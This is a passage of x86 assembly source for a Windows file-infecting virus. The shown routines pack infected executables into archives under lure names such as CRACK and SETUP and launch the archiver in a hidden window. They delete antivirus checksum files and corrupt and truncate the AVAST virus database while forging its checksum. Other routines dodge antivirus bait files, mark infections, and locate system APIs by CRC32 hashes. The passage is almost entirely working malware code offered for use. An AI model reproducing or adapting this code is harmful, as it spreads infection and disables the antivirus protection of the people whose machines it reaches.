; input: ESI ... input buffer
|
||
; ECX ... number of bytes in buffer with l.value
|
||
; EAX ... low generated "brute-CRC64" value
|
||
; EDX ... high generated "brute-CRC64" value
|
||
;
|
||
; output: EAX ... original value
|
||
;
|
||
__get_bruteCRC64:
|
||
|
||
xor ebx,ebx
|
||
mov [esi],ebx ;clear original value to zero
|
||
push eax edx ;save generated "brute-CRC64"
|
||
push esi ecx ;save POS and COUNTER
|
||
add esi,00000002h ;the second value
|
||
sub ecx,00000002h
|
||
__g_bCRC64_second_word:
|
||
push esi ecx ;save POS and COUNTER
|
||
call __bCRC64_calculate ;check its "brute-CRC64"
|
||
pop ecx esi
|
||
inc word ptr [esi] ;increase original value
|
||
cmp [esp+00000008h],eax ;ahhh, what's now ?
|
||
jnz __g_bCRC64_second_word
|
||
dec word ptr [esi] ;decrease original value
|
||
|
||
pop ecx esi ;start of the 1st value
|
||
__g_bCRC64_first_value:
|
||
push esi ecx ;save POS and COUNTER
|
||
call __bCRC64_calculate ;calculate its "brute-CRC64"
|
||
pop ecx esi
|
||
inc word ptr [esi] ;increase original value
|
||
cmp [esp+4],eax ;ahhh, what's now ?
|
||
jnz __g_bCRC64_first_value
|
||
dec word ptr [esi] ;decrease original value
|
||
add esp,00000008h ;take away CRC64
|
||
ret
|
||
|
||
;---------------------------------------------------------
|
||
;This function calculates CRC32 for name of API functions.
|
||
;The code has been stolen from LoRez source, hi mLapse :)
|
||
;
|
||
__mCRC32 equ 0C1A7F39Ah
|
||
__mCRC32_init equ 09C3B248Eh
|
||
;
|
||
__macro_CRC32 macro string
|
||
crcReg = __mCRC32_init
|
||
irpc _x,<string>
|
||
ctrlByte = '&_x&' xor (crcReg and 0FFh)
|
||
crcReg = crcReg shr 8
|
||
rept 8
|
||
ctrlByte = (ctrlByte shr 1) xor (__mCRC32 * (ctrlByte and 1))
|
||
endm
|
||
crcReg = crcReg xor ctrlByte
|
||
endm
|
||
dd crcReg
|
||
endm
|
||
|
||
;---------------------------------------------------------
|
||
;I don't compare API stringz in kernel32 but CRC32.
|
||
;
|
||
; input: ESI ... string
|
||
; output: EAX ... CRC32
|
||
;
|
||
__get_CRC32:
|
||
push edx
|
||
mov edx,__mCRC32_init
|
||
__gCRC32_next_byte:
|
||
lodsb
|
||
or al,al ;end of name ?
|
||
jz __gCRC32_finish
|
||
|
||
xor dl,al
|
||
mov al,08h
|
||
__gCRC32_next_bit:
|
||
shr edx,01h
|
||
jnc __gCRC32_no_change
|
||
xor edx,__mCRC32
|
||
__gCRC32_no_change:
|
||
dec al
|
||
jnz __gCRC32_next_bit
|
||
jmp __gCRC32_next_byte
|
||
__gCRC32_finish:
|
||
xchg eax,edx ;CRC32 to EAX
|
||
pop edx
|
||
ret
|
||
|
||
;ÄÄÄ´ function to add dropper to table ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function is main feature for inside-archive works.
|
||
;
|
||
;What we know:
|
||
; * this function is called from "infect_file"
|
||
; * it's certainly *.EXE file
|
||
; * its filesize is lesser then 30Kb
|
||
;
|
||
;Headlines:
|
||
; * get empty archive dropper (create ZIP/ARJ's dropper ?)
|
||
; * if CAB, no packing (stupid structure)
|
||
; * give me TEMP directory (e.g. \WINDOWS\TEMP)
|
||
; * create random TEMP file name (e.g. 29A + 0001.TMP, ...)
|
||
; * get random file name (e.g. SETUP, CRACK, GRATIS, ...)
|
||
; * copy infected file to TEMP directory under new name
|
||
; * create compress command
|
||
; (e.g. C:\ACE.EXE a -ep -m5 C;\TEMP\RUN.EXE C:\TEMP\29A0001.TMP)
|
||
; * create process and execute that command
|
||
; * check process' thread whether process has been finished
|
||
; * delete random file name
|
||
;
|
||
;
|
||
; input: EAX ... filesize
|
||
;
|
||
__new_dName dd 00000000h ;dropper's newName
|
||
;
|
||
__add_dropper:
|
||
|
||
; save registers
|
||
pusha
|
||
|
||
; some free archiver program ?
|
||
mov ecx,NewArchiveNum
|
||
__ad_searching:
|
||
mov eax,ecx ;convert <1..NewArchiveNum>
|
||
dec eax ; t o <0..NewArchiveNum-1>
|
||
lea esi,[ebp+NewArchive]
|
||
imul eax,NewArchiveSize
|
||
add esi,eax
|
||
push ecx
|
||
|
||
; test whether dropper has been created
|
||
cmp [esi.dropper],00000000h
|
||
jnz __ad_next
|
||
|
||
; test whether CAB structure is empty
|
||
cmp ecx,NewArchiveNum
|
||
jnz __ad_next_archive
|
||
|
||
mov eax,filename_size ;allocate mem for CAB's name
|
||
call malloc
|
||
mov [esi.dropper],eax
|
||
mov edi,eax ;copy archive name EXE to
|
||
mov esi,[ebp+filename_ptr] ;my new CAB file name buffer
|
||
mov ecx,filename_size
|
||
rep movsb
|
||
jmp __ad_next
|
||
|
||
; test whether archiver program has been found
|
||
__ad_next_archive:
|
||
mov ebx,esi
|
||
cmp [ebx.program],00000000h
|
||
jz __ad_next
|
||
|
||
; time to prepare dropper - alloc mem, get temp filename
|
||
mov eax,filename_size
|
||
call malloc
|
||
mov [ebx.dropper],eax
|
||
|
||
; get TEMP directory
|
||
push eax ;outta buffer
|
||
push filename_size
|
||
call [ebp+ddGetTempPathA]
|
||
or eax,eax ;give me filepath length
|
||
jz __ad_dealloc
|
||
|
||
; generate new filename for dropper
|
||
mov ecx,eax
|
||
mov eax,filename_size
|
||
call malloc
|
||
mov [ebp+__new_dName],eax
|
||
|
||
push eax
|
||
mov edi,eax ;destination place
|
||
mov esi,[ebx.dropper]
|
||
rep movsb
|
||
call generate_name
|
||
pop edi
|
||
|
||
; copy "filename_name" to "edi"
|
||
push 00000000h ;rewrite its
|
||
push edi ;new filepath and filename
|
||
push [ebp+filename_ptr] ;actual filename
|
||
call [ebp+ddCopyFileA]
|
||
or eax,eax
|
||
jz __ad_dealloc_name
|
||
|
||
; get TEMP file like destination archive name
|
||
mov edi,[ebx.dropper] ;destination place
|
||
push edi
|
||
push 00000000h
|
||
lea eax,[ebp+__ad_TEMP_three_chars]
|
||
push eax ;the first three chars
|
||
push edi ;main TEMP directory
|
||
call [ebp+ddGetTempFileNameA]
|
||
|
||
; delete TEMP file like archive name
|
||
push [ebx+dropper]
|
||
call [ebp+ddDeleteFileA]
|
||
|
||
; get filname's last char from archiver
|
||
mov edi,[ebx.program]
|
||
xor al,al
|
||
mov ecx,-1
|
||
repnz scasb
|
||
dec edi
|
||
|
||
; get archiver's input parameters
|
||
pop ecx
|
||
push ecx
|
||
|
||
dec ecx ;convert to <0..
|
||
imul ecx,ArchiverCommandRealSize
|
||
lea esi,[ebp+ArchiverCommand]
|
||
add esi,ecx
|
||
mov ecx,ArchiverCommandSize
|
||
rep movsb ;copy input parameters
|
||
|
||
; generate compression method
|
||
lodsb ;number of compression method
|
||
movzx eax,al
|
||
call ppe_get_rnd_range
|
||
add esi,eax
|
||
lodsb ;get compression method char
|
||
stosb ;copy it
|
||
mov al,20h ;space letter
|
||
stosb
|
||
|
||
mov esi,[ebx.dropper]
|
||
@copysz
|
||
mov byte ptr [edi-1],20h ;space letter
|
||
|
||
mov esi,[ebp+__new_dName]
|
||
@copysz
|
||
mov byte ptr [edi-1],00h ;zero letter
|
||
|
||
; get some startup information
|
||
lea eax,[ebp+StartupInfo]
|
||
push eax
|
||
call [ebp+ddGetStartupInfoA]
|
||
|
||
mov esi,[ebx.program]
|
||
lea eax,[ebp+ProcessInformation]
|
||
push eax
|
||
lea eax,[ebp+StartupInfo]
|
||
push eax
|
||
|
||
; set window's info
|
||
mov word ptr [eax.dwFlags], 0001h ;STARTF_USESHOWINDOW
|
||
mov word ptr [eax.wShowWindow], 0000h ;SW_HIDE
|
||
xor eax,eax
|
||
push eax ;CurrentDirectory
|
||
push eax ;Environment
|
||
push 04000000h or \ ;CREATE_PROCESS_ERROR_MODE
|
||
00000200h or \ ;CREATE_NEW_PROCESS_GROUP
|
||
00000080h ;HIGH_PRIORITY_CLASS
|
||
push eax ;InheritHandles: FALSE
|
||
push eax ;ThreadAttributes
|
||
push eax ;ProcessAttributes
|
||
push [ebx.program] ;Command
|
||
push eax ;Application Name
|
||
call [ebp+ddCreateProcessA]
|
||
or eax,eax ;success ?
|
||
jnz __wait_to_comp
|
||
|
||
; disable this achiver for future use
|
||
mov eax,[ebx.program]
|
||
call mdealloc
|
||
mov [ebx.program],00000000h
|
||
jmp __ad_dealloc ;dealloc droper as well
|
||
|
||
; give time to compressing
|
||
__wait_to_comp:
|
||
push 1*4*1000 ;4 seconds
|
||
push [ebp+ProcessInformation.hThread]
|
||
call [ebp+ddWaitForSingleObject]
|
||
|
||
; shut down that process
|
||
push 00000000h ;error-code
|
||
push [ebp+ProcessInformation.hProcess]
|
||
call [ebp+ddTerminateProcess]
|
||
|
||
push [ebp+__new_dName] ;delete copied file
|
||
call [ebp+ddDeleteFileA]
|
||
|
||
__ad_dealloc_name:
|
||
mov eax,[ebp+__new_dName] ;dealloc dropper's new name
|
||
call mdealloc
|
||
|
||
__ad_next:
|
||
pop ecx
|
||
dec ecx
|
||
jnz __ad_searching
|
||
popa
|
||
ret
|
||
|
||
__ad_dealloc:
|
||
mov eax,[ebx.dropper]
|
||
call mdealloc
|
||
mov [ebx.dropper],00000000h
|
||
jmp __ad_next
|
||
|
||
__ad_TEMP_three_chars: ;greeting to all from this
|
||
db '29A',0 ;excelent group (family)
|
||
|
||
;ÄÄÄ´ function to delete AV files ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function has been called from Hyper Infection - API.
|
||
;So, If any AV checksum file has been found, I will delete
|
||
;its.
|
||
;
|
||
; input: EDX ... file name
|
||
kill_av:
|
||
|
||
push edx
|
||
call [ebp+ddDeleteFileA]
|
||
ret
|
||
|
||
;ÄÄÄ´ function to change AVAST's viruses database ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function modify/truncate AVAST's viruses database.
|
||
;If you want to read tutorial about this method, download
|
||
;it from my web: http://prizzy.cjb.net
|
||
;
|
||
; input: filename_ptr ... is filled
|
||
;
|
||
__ka_handle dd 00000000h ;database's handle
|
||
__ka_memory dd 00000000h ;database's body
|
||
__ka_new_size dd 00000000h ;database's new size
|
||
__ka_checksum dw 0000h ;database's new chck
|
||
;
|
||
|
||
kill_avast:
|
||
|
||
; open AVAST's viruses database
|
||
mov edx,[ebp+filename_ptr]
|
||
call __MyOpenFile
|
||
jc __ka_finish
|
||
mov [ebp+__ka_handle],eax
|
||
|
||
; generate new database's file size
|
||
mov eax,50000 ;hmmm, + <0,50Kb)
|
||
call ppe_get_rnd_range
|
||
add eax,AVAST_memSize
|
||
mov [ebp+__ka_new_size],eax
|
||
call malloc
|
||
mov [ebp+__ka_memory],eax
|
||
|
||
; read signature
|
||
mov edx,[ebp+__ka_memory]
|
||
mov ecx,00000004h ;four bytes, please
|
||
xor esi,esi
|
||
mov ebx,[ebp+__ka_handle]
|
||
call __MyReadFile
|
||
jc __ka_dealloc
|
||
|
||
; check signature
|
||
mov eax,[ebp+__ka_memory]
|
||
movzx eax,word ptr [eax+00000002h]
|
||
cmp eax,000000F4h
|
||
ja __ka_dealloc
|
||
|
||
; read new size
|
||
mov edx,[ebp+__ka_memory]
|
||
mov ecx,[ebp+__ka_new_size]
|
||
mov esi,00000002h
|
||
mov ebx,[ebp+__ka_handle]
|
||
call __MyReadFile
|
||
jc __ka_dealloc
|
||
|
||
; calculate new checksum :)
|
||
xor di,di ;clear these regz
|
||
xor dx,dx
|
||
xor bx,bx
|
||
xor ax,ax
|
||
|
||
mov esi,[ebp+__ka_memory] ;place in memory
|
||
mov ecx,[ebp+__ka_new_size] ;really readed bytes
|
||
sub ecx,00000002h ;sub chacksum word
|
||
|
||
__ka_decode_body:
|
||
lodsb
|
||
add di,ax
|
||
xor dx,ax
|
||
xor bx,ax
|
||
ror bx,01h
|
||
mov ah,al
|
||
loop __ka_decode_body
|
||
|
||
; and now, I must do the final test
|
||
mov ax,di
|
||
xor ax,dx
|
||
xor ax,bx ;AX=new checksum !!
|
||
mov [ebp+__ka_checksum],ax
|
||
|
||
; write new checksum
|
||
lea edx,[ebp+__ka_checksum]
|
||
mov ecx,00000002h
|
||
xor esi,esi
|
||
mov ebx,[ebp+__ka_handle]
|
||
call __MyWriteFile
|
||
jc __ka_dealloc
|
||
|
||
; truncate database :)
|
||
push 00000000h
|
||
push 00000000h
|
||
push [ebp+__ka_new_size]
|
||
push [ebp+__ka_handle]
|
||
call [ebp+ddSetFilePointer]
|
||
|
||
push [ebp+__ka_handle]
|
||
call [ebp+ddSetEndOfFile]
|
||
|
||
__ka_dealloc:
|
||
mov eax,[ebp+__ka_memory]
|
||
call mdealloc
|
||
mov ebx,[ebp+__ka_handle]
|
||
call __MyCloseFile
|
||
__ka_finish:
|
||
ret
|
||
|
||
;ÄÄÄ´ may I infect that file ? ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function checks whether file is enabled to infect.
|
||
;
|
||
; input: EBX ... filename
|
||
; ESI ... pointer to an avoid table
|
||
;
|
||
validate_name:
|
||
|
||
; save all registers
|
||
pusha
|
||
lea eax,[ebp+__va_check_file]
|
||
push eax
|
||
mov edi,ebx
|
||
|
||
; get last '\' char
|
||
__va_get_filename:
|
||
push edi
|
||
call [ebp+ddlstrlen]
|
||
mov ecx,eax
|
||
add edi,ecx
|
||
__va_next_char:
|
||
dec edi
|
||
cmp byte ptr [edi],'\'
|
||
jz __va_found
|
||
dec ecx
|
||
jnz __va_next_char
|
||
dec edi
|
||
__va_found:
|
||
inc edi
|
||
sub eax,ecx
|
||
ret
|
||
|
||
__va_check_file:
|
||
push esi
|
||
call [ebp+ddlstrlen]
|
||
mov ecx,eax
|
||
push esi edi
|
||
rep cmpsb
|
||
pop edi esi
|
||
jz __va_file_invalid
|
||
add esi, eax ;go to the next file
|
||
inc esi ; + zero char
|
||
cmp byte ptr [esi],01h ;end of table ?
|
||
jnz __va_check_file
|
||
|
||
; restore all registers
|
||
test al,0F9h ;hidden STC instruction
|
||
__va_file_invalid equ $-1
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ anti-bait: do not infect AV files ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;Baits are do-nothing programs used by AVers to spread.
|
||
;Familiarly AVers using these filenames:
|
||
; 00000001.EXE, 00000002.EXE, 00000003.EXE etc.
|
||
;or
|
||
; AAAAAAAA.EXE, AAAAAAAB.EXE, AAAAAAAC.EXE etc.
|
||
;
|
||
;This function checks if filename certains any triple chars
|
||
;in sequence. It is typical anti-bait.
|
||
;
|
||
; input: filename_ptr ... is filled
|
||
;
|
||
fuck_av_files:
|
||
|
||
; save all registers
|
||
pusha
|
||
|
||
; get filename
|
||
call __va_get_filename ;EAX = filename length
|
||
|
||
; check triple chars (= anti-bait)
|
||
xor eax,eax ;AH=last char, AL=act. char
|
||
xor ebx,ebx ;BL=how many chars
|
||
__faf_repeat:
|
||
mov al,[edi]
|
||
cmp ah,al ;last char == actual char ?
|
||
jz __faf_same_char
|
||
mov ah,al
|
||
xor bl,bl
|
||
jmp __faf_next_char
|
||
__faf_same_char:
|
||
inc bl
|
||
cmp bl,02h ;triple char ?
|
||
jz __faf_failed
|
||
__faf_next_char:
|
||
inc edi
|
||
cmp byte ptr [edi],'.'
|
||
jnz __faf_repeat
|
||
|
||
test al,0F9h ;hidden STC instruction
|
||
__faf_failed equ $-1
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ function to check if file has been infected ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function check whether number in EAX is divided by
|
||
;special number 117 which the autor has selected for this
|
||
;virus. And 'cause every dividing is possible count through
|
||
;natural logarithm, so I use this math method :).
|
||
;
|
||
; in classic math:
|
||
; " if ((EAX mod 117)==0) file_is_not_infected "
|
||
; in ln math:
|
||
; " if ((modf(exp(ln(EAX)-ln(117)),&integer)==0)
|
||
; file_not_infected "
|
||
;
|
||
;Well, "a/b == e^(ln(a) - ln(b))"
|
||
; "a*b == e^(ln(a) + ln(b))" etc.
|
||
;
|
||
; "exp(x) == 2^(x * log2ofE)" etc.
|
||
;
|
||
;Easy to understand :)
|
||
;
|
||
__check_infected:
|
||
|
||
push ecx
|
||
mov dword ptr [ebp+source_value ],eax
|
||
mov dword ptr [ebp+divided_value],117
|
||
|
||
fsave [ebp+copro_nl_buffer] ;save all regz & flagz
|
||
fninit ;inicialize co-processor
|
||
fldln2 ;give me "e^fldln2==2"
|
||
fild qword ptr [ebp+source_value] ;input number
|
||
fyl2x ;calculate natural logarithm
|
||
fldln2
|
||
fild qword ptr [ebp+divided_value]
|
||
fyl2x ;calculate 2nd nat logarithm
|
||
fsubp ;ln(EAX) - ln(117)
|
||
|
||
fldl2e ;give me log2ofE == 2^
|
||
fmulp
|
||
fabs ;absolute number
|
||
fld1
|
||
fld
|
||
|
||
fstcw [ebp+exp_truncate] ;change rounding
|
||
fstcw [ebp+exp_default]
|
||
fscale ;2^(trunc ST(1)) + ST(0)
|
||
or [ebp+exp_truncate],0Fh ;specify truncation mode
|
||
fldcw [ebp+exp_truncate] ;new mode
|
||
frndint
|
||
and [ebp+exp_default+1],0f3h;default back to round-nearest
|
||
fldcw [ebp+exp_default] ;default mode
|
||
|
||
fist [ebp+exp_further] ;save calculing value
|
||
fxch
|
||
fchs ;negative
|
||
fxch
|
||
fscale
|
||
fstp ;fscale did not adjust stack
|
||
fsubp ;now is "0 <= st(0) < 0.5"
|
||
|
||
f2xm1 ;calculate 2^st(0)
|
||
fld1
|
||
faddp
|
||
|
||
shr word ptr [ebp+exp_further],0001h
|
||
jnb __no_sqrt2
|
||
|
||
fld tbyte ptr [ebp+sqrt2] ;use sqrt(2) to calculate
|
||
fmulp ;the 2nd part
|
||
|
||
__no_sqrt2:
|
||
fild word ptr [ebp+exp_further]
|
||
fxch
|
||
fscale ;fscale doesn't adjust stack
|
||
fstp
|
||
|
||
fldcw [ebp+exp_truncate] ;set truncate mode
|
||
fld st(0) ;st(0)=st(1)
|
||
frndint ;truncate number
|
||
fsubp ;give me only decimal places
|
||
fild qword ptr [ebp+rounded_value] ;rounding
|
||
fmulp ;multiply by 10^x
|
||
frndint
|
||
fistp dword ptr [ebp+decimal_places]
|
||
fldcw [ebp+exp_default]
|
||
frstor [ebp+copro_nl_buffer] ;restore all regz & flagz
|
||
|
||
cmp dword ptr [ebp+decimal_places],00000000h
|
||
jnz $+3
|
||
test al,0F9h ;hidden STC instruction
|
||
pop ecx
|
||
ret
|
||
|
||
sqrt2 dt 3FFFB504F333F9DE6485r ;copro sqrt(2) format
|
||
source_value dq 0000000000h
|
||
divided_value dq 0000000000h
|
||
rounded_value dq 1000000000
|
||
|
||
;ÄÄÄ´ common file operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
__MyOpenFile: ;opens EDX file
|
||
pusha ;save all registers
|
||
xor eax,eax
|
||
push eax
|
||
push FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push eax
|
||
push eax
|
||
push GENERIC_READ OR GENERIC_WRITE
|
||
push edx ;file name
|
||
call [ebp+ddCreateFileA]
|
||
mov [esp].access_eax,eax ;handle - take away
|
||
popa
|
||
cmp eax,-1 ;success ?
|
||
jz $+3 ;jump if STC, if not CLC :)
|
||
test al,0F9h ;hidden STC instruction
|
||
ret
|
||
|
||
__MyReadFile: ; read some bytes (ECX) from certain filepos (ESI)
|
||
; to buffer (EDX) by handle (EBX)
|
||
; input:
|
||
; ECX ... number of bytes to read
|
||
; EDX ... destination buffer
|
||
; ESI ... file pos
|
||
; EBX ... file handle
|
||
; output:
|
||
; ECX ... number of reader bytes, CFlags
|
||
|
||
call __MySeekFile ;change file pos
|
||
pusha
|
||
xor eax,eax
|
||
push ecx ;save for later using...
|
||
push eax ;support 2^64-2 bigger file ?
|
||
lea eax,[ebp+last_error]
|
||
push eax ;real readed bytes
|
||
push ecx
|
||
push edx
|
||
push ebx
|
||
call [ebp+ddReadFile]
|
||
pop [esp].access_ecx ;save old ECX to PUSHAD
|
||
popa
|
||
cmp ecx,[ebp+last_error]
|
||
jnz $+3 ;jump if STC, if not CLC :)
|
||
test al,0F9h ;hidden STC instruction
|
||
mov ecx,[ebp+last_error]
|
||
ret
|
||
|
||
__MyWriteFile: ; write some bytes (ECX) to certain filepos (ESI)
|
||
; from buffer (EDX) by handle (EBX)
|
||
; input:
|
||
; ECX ... number of bytes to write
|
||
; EDX ... source buffer
|
||
; ESI ... file pos
|
||
; EBX ... file handle
|
||
|
||
call __MySeekFile
|
||
pusha
|
||
xor eax,eax
|
||
push ecx ;save for later using...
|
||
push eax ;file bigger then 2^64-2 ?
|
||
lea eax,[ebp+last_error]
|
||
push eax
|
||
push ecx ;number of bytes to write
|
||
push edx ;source buffer
|
||
push ebx ;file handle
|
||
call [ebp+ddWriteFile]
|
||
pop [esp].access_ecx
|
||
popa
|
||
cmp ecx,[ebp+last_error]
|
||
jnz $+3 ;jump if STC, if not CLC :)
|
||
test al,0F9h ;hidden STC instruction
|
||
mov ecx,[ebp+last_error]
|
||
ret
|
||
|
||
__MySeekFile: ; seek in the file
|
||
; input:
|
||
; ESI ... new file pos
|
||
; EBX ... file handle
|
||
|
||
pusha
|
||
xor eax,eax
|
||
push eax ;FILE_BEGIN defined in "WinBase.H"
|
||
push eax ;support 2^64-2 file size ?
|
||
push esi ;new file size
|
||
push ebx ;file handle
|
||
call [ebp+ddSetFilePointer]
|
||
popa
|
||
ret
|
||
|
||
__MySetAttrFile: ; change file attributes
|
||
; input:
|
||
; ECX ... new file attributes
|
||
; EDX ... file name pointer
|
||
|
||
pusha
|
||
push ecx ;new attributes
|
||
push edx ;file name pointer
|
||
call [ebp+ddSetFileAttributesA]
|
||
mov [esp].access_eax,eax
|
||
popa
|
||
or eax,eax
|
||
jz $+3
|
||
test al,0F9h ;hidden STC instruction
|
||
ret
|
||
|
||
__MyCloseFile: ; close (EBX) file handle
|
||
|
||
pusha
|
||
push ebx ;handle to close
|
||
call [ebp+ddCloseHandle]
|
||
popa
|
||
ret
|
||
|
||
__MyGetFileSize: ; get file size
|
||
; input:
|
||
; EBX ... file handle
|
||
|
||
pusha
|
||
push 00000000h ;file bigger then 2^64-2 ?
|
||
push ebx ;file handle
|
||
call [ebp+ddGetFileSize]
|
||
mov [esp].access_eax,eax
|
||
popa
|
||
cmp eax,-1
|
||
jz $+3
|
||
test al,0F8h ;hidden STC instruction
|
||
ret
|
||
|
||
__MyFindFirst: ; search certain file
|
||
; input:
|
||
; EDX ... file mask
|
||
; ESI ... dta
|
||
; output:
|
||
; EAX ... handle, CF status
|
||
|
||
pusha
|
||
push esi ;output dta
|
||
push edx ;file mask
|
||
call [ebp+ddFindFirstFileA]
|
||
mov [esp].access_eax,eax
|
||
popa
|
||
cmp eax,-1 ;were we successful ?
|
||
jz $+3
|
||
test al,0F9h ;hidden STC instruction
|
||
ret
|
||
|
||
__MyFindNext: ; find next file
|
||
; input:
|
||
; EAX ... handle
|
||
; ESI ... dta
|
||
|
||
pusha
|
||
push esi ;output dta
|
||
push eax ;FindFirstFile handle
|
||
call [ebp+ddFindNextFileA]
|
||
or eax,eax ;success ?
|
||
popa
|
||
jz $+3
|
||
test al,0F9h ;hidden STC instruction
|
||
ret
|
||
|
||
__MyFindClose: ; close file searcher
|
||
; input:
|
||
; EAX ... handle
|
||
|
||
pusha
|
||
push eax ;FindFirstFile handle
|
||
call [ebp+ddFindClose]
|
||
mov [esp].access_eax,eax
|
||
popa
|
||
or eax,eax ;success ?
|
||
jz $+3
|
||
test al,0F9h ;hidden STC instruction
|
||
ret
|
||
|
||
|
||
malloc: ; allocate memory (EAX)
|
||
|
||
pusha
|
||
mov ebx,eax
|
||
push 00000000h ;name of mapping object
|
||
push eax ;low 32 bits of object size
|
||
push 00000000h ;high 32 bits of object size
|
||
push PAGE_READWRITE
|
||
push 00000000h ;optional security attributes
|
||
push -1 ;no file, only shared memory
|
||
call [ebp+ddCreateFileMappingA]
|
||
or eax,eax
|
||
jz __malloc_failed ;success ?
|
||
|
||
push ebx ;number of bytes to map
|
||
push 00000000h ;low 32 bits of file offset
|
||
push 00000000h ;high 32 bits of file offset
|
||
push FILE_MAP_WRITE ;access mode
|
||
push eax ;mapped object
|
||
call [ebp+ddMapViewOfFile]
|
||
|
||
__malloc_failed:
|
||
mov [esp].access_eax,eax ;memory address or NULL
|
||
popa
|
||
or eax,eax
|
||
ret
|
||
|
||
mdealloc: ; deallocate memory (EAX)
|
||
|
||
pusha
|
||
push eax ;mapped address
|
||
call [ebp+ddUnmapViewOfFile]
|
||
popa
|
||
ret
|
||
|
||
__MyCreateThread: ; create thread
|
||
; input:
|
||
; EAX ... thread function
|
||
; EBX ... parameter
|
||
; output:
|
||
; EAX ... thread handle
|
||
|
||
pusha
|
||
call $+9 ;thread identifier
|
||
dd ?
|
||
push 00000000h ;create flags
|
||
__mct_continue:
|
||
push ebx ;parameter
|
||
push eax ;start address
|
||
push 00000000h ;stack size
|
||
push 00000000h ;security attributes
|
||
call [ebp+ddCreateThread]
|
||
mov [esp].access_eax,eax ;EAX through POPA :)
|
||
popa
|
||
or eax,eax
|
||
jz $+3
|
||
test al,0F9h ;hidden STC instruction
|
||
ret
|
||
|
||
;ÄÄÄ´ function to get kernel's address ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function searchs functions in:
|
||
; * KERNEL32.DLL, USER32.DLL, ADVAPI32.DLL
|
||
;At first I'll open library, get export table, RVA ... and
|
||
;then I'll compare CRC32 with function names.
|
||
;
|
||
__fk32_inside dd 00000000h ;library tables
|
||
;
|
||
|
||
find_kernel32:
|
||
mov eax,[esp+8] ;I need kernel's address
|
||
and eax,0FFFF0000h
|
||
add eax,65536
|
||
__scanning: sub eax,65536
|
||
cmp word ptr [eax],'ZM'
|
||
jnz __scanning
|
||
pusha
|
||
mov [ebp+kernel_base],eax
|
||
mov edx,eax
|
||
|
||
; kernel's base 'MZ' address in EAX
|
||
mov ebx,eax
|
||
add eax,[eax+3ch]
|
||
add ebx,[eax+78h]
|
||
mov [ebp+__fk32_inside],ebx
|
||
|
||
; search functions from "k32.dll, user32.dll, advapi32.dll"
|
||
lea ebx,[ebp+FunctionNames]
|
||
lea edi,[ebp+FunctionAddresses]
|
||
mov ecx,00000003h
|
||
__fk32_next_library:
|
||
push ecx ;number of libraries
|
||
__fk32_next_function:
|
||
mov esi,[ebx] ;get function's CRC32
|
||
mov [ebp+__sET_crc32],esi
|
||
call __searchET
|
||
stosd ;write its address
|
||
add ebx,00000004h ;next CRC32 value
|
||
cmp dword ptr [ebx],00000000h ;end of functions
|
||
jnz __fk32_next_function ;of current library ?
|
||
add ebx,00000005h ;now, library name
|
||
movzx ecx,byte ptr [ebx-1] ;EAX ... length of library
|
||
or ecx,ecx
|
||
jz __fk32_finish
|
||
|
||
push ebx ebx ;library name
|
||
add [esp+00000004h],ecx
|
||
call [ebp+ddLoadLibraryA]
|
||
mov ecx,-2 ;libraries without k32
|
||
add ecx,[esp+00000004h] ;get number of libraries
|
||
mov [ebp+user32_base+ecx*4],eax
|
||
mov ebx,eax ;start of file header
|
||
mov edx,eax
|
||
add eax,[eax+3ch]
|
||
add ebx,[eax+78h]
|
||
mov [ebp+__fk32_inside],ebx
|
||
pop ebx ;function names
|
||
|
||
; next library ?
|
||
__fk32_finish:
|
||
pop ecx
|
||
loop __fk32_next_library
|
||
|
||
popa ;bye, bye K32, U32, A32...
|
||
ret ;what a pleasure work with u!
|
||
|
||
; search function's address
|
||
__searchET:
|
||
pusha
|
||
mov ebx,[ebp+__fk32_inside]
|
||
mov ecx,[ebx+32] ;search export table of
|
||
add ecx,edx ;KERNEL32, searching
|
||
__sET_next:
|
||
mov esi,[ecx] ;the names, then the ordinal
|
||
add esi,edx ;and, finally the RVA pointerz
|
||
call __get_CRC32 ;get name's CRC32 :)
|
||
mov edi,12345678h
|
||
__sET_crc32 equ dword ptr $-4
|
||
cmp eax,edi ;compare CRC32
|
||
jz __sET_found
|
||
add ecx,00000004h
|
||
jmp __sET_next
|
||
__sET_found:
|
||
sub ecx,[ebx+32]
|
||
sub ecx,edx
|
||
shr ecx,1
|
||
add ecx,[ebx+36]
|
||
add ecx,edx
|
||
movzx ecx,word ptr [ecx]
|
||
shl ecx,2
|
||
add ecx,[ebx+28]
|
||
add ecx,edx
|
||
mov ecx,[ecx]
|
||
add ecx,edx
|
||
mov [esp].access_eax,ecx ;ehm, save ECX through POPA
|
||
popa
|
||
ret
|
||
|
||
;ÄÄÄ´ search fixed, cd-rom, ram-disk, etc. ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
;---------------------------------------------------------
|
||
;This function gets information about disks. I call
|
||
;GetDriveType function to get type of disk. You can use
|
